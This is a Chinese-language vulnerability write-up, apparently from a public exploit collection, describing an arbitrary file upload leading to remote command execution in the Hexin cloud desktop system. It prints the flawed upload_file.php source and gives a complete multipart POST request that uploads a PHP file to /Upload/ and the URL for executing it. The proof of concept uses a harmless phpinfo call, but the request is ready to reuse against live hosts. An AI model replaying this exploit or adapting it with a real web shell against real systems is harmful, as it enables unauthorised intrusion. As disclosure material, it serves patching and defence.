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和信创天云桌面系统 upload_file.php 远程命令执行漏洞

漏洞描述

和信创天云桌面系统存在默认配置导致文件上传并可以远程命令执行

漏洞影响

和信创天云桌面系统

网络测绘

和信下一代云桌面VENGD

漏洞复现

登录页面如下

img

存在漏洞的文件为 upload_file.php

<?php
function writeLog($msg){
    $logFile = date('Y-m-d').'.txt';
    $msg = date('Y-m-d H:i:s').' >>> '.$msg."\r\n";
    file_put_contents($logFile,$msg,FILE_APPEND );
}
//require("vesystem/msg_define/session_lib.php");
if ($_FILES["file"]["error"] > 0)
{
  //  echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
}
else
{
    echo "_Requst:<br>";
        /*     foreach($_REQUEST as $name => $value)
            {
                 $name."=".$value."<br>";
            }
            //echo "_FILES:<br>";
            foreach($_FILES as $array_name=>$array_value)
            {    
            $array_name."=".$array_value."<br>";
                foreach($_FILES[$array_name] as $name => $value)
                {
                $name."=".$value."<br>";
                }
            } */
        $l = $_GET['l'];

        //拆分字符串按“/”分割字符
        $arrpath = explode("/",$l);
        $m = count($arrpath);


        $file_e = "";
        if ($m>1){
            for($i=0;$i<$m;$i++){
                $file_e .= $arrpath[$i];


                if(!file_exists($file_e)){
                    mkdir($file_e, 0777);
                }
                $file_e .= "/";
            }

        }else{

            //判断文件夹是否存在 ，不存在就新建个


            if(!file_exists($l)){
                mkdir("$l", 0777);
            }
        }



        $target_path=$_SERVER["DOCUMENT_ROOT"]."/Upload/".$l."/".$_FILES["file"]["name"];


        if (file_exists($target_path))
        {
            unlink($target_path);
        }


        $a = 'old_file='.$_FILES["file"]["tmp_name"];

        writeLog($a);
        writeLog('new_file='.$target_path);
    $target_path = str_replace ( '//', '/', $target_path );

    writeLog('new_file2='.$target_path);

   $varerror =  move_uploaded_file($_FILES["file"]["tmp_name"],$target_path);

    writeLog('$varerror='.$varerror);
}
?>

发送请求包如下

POST /Upload/upload_file.php?l=1 HTTP/1.1
Host: xxx.xxx.xx.xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,fil;q=0.8
Cookie: think_language=zh-cn; PHPSESSID_NAMED=h9j8utbmv82cb1dcdlav1cgdf6
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfcKRltGv
Content-Length: 182

------WebKitFormBoundaryfcKRltGv
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/avif

<?php phpinfo(); ?>
------WebKitFormBoundaryfcKRltGv--

访问

http://xxx.xx.xxx.xxx/Upload/1/test.php

img